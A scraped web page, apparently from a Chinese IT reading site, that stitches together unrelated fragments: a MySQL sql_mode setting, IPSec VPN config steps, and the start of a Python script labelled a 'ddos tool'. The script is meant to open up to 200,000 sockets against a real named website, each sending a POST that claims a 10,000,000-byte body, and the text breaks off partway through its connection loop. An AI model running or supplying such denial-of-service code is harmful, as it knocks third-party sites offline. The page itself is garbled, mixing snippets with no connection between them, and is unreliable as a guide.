Source: 取消mysql的嚴格模式 – IT閱讀
#edit my.cnf.d/server.cnf
global sql_mode=NO_ENGINE_SUBSTITUTION
Edit
/etc/ipsec.conf
on the VPN server. Find
sha2-truncbug=yes
and replace it with
sha2-truncbug=no
. Save the file and run
service ipsec restart
.IPSec VPN not working
#!/usr/bin/env python import socket import time import threading # Pressure Test,ddos tool # ————————— MAX_CONN = 200000 # 最大socket链接量 PORT = 80 HOST = “www.ssyer.com” PAGE = “/photography” # ————————— buf = (“POST %s HTTP/1.1\r\n” “Host: %s\r\n” “Content-Length: 10000000\r\n” “Cookie: dklkt_dos_test\r\n” “\r\n” % (PAGE, HOST)) # 创建socket链接列表,存储上20万个socket socks = [] # 循环创建socket链接 def conn_thread(): global socks for i in range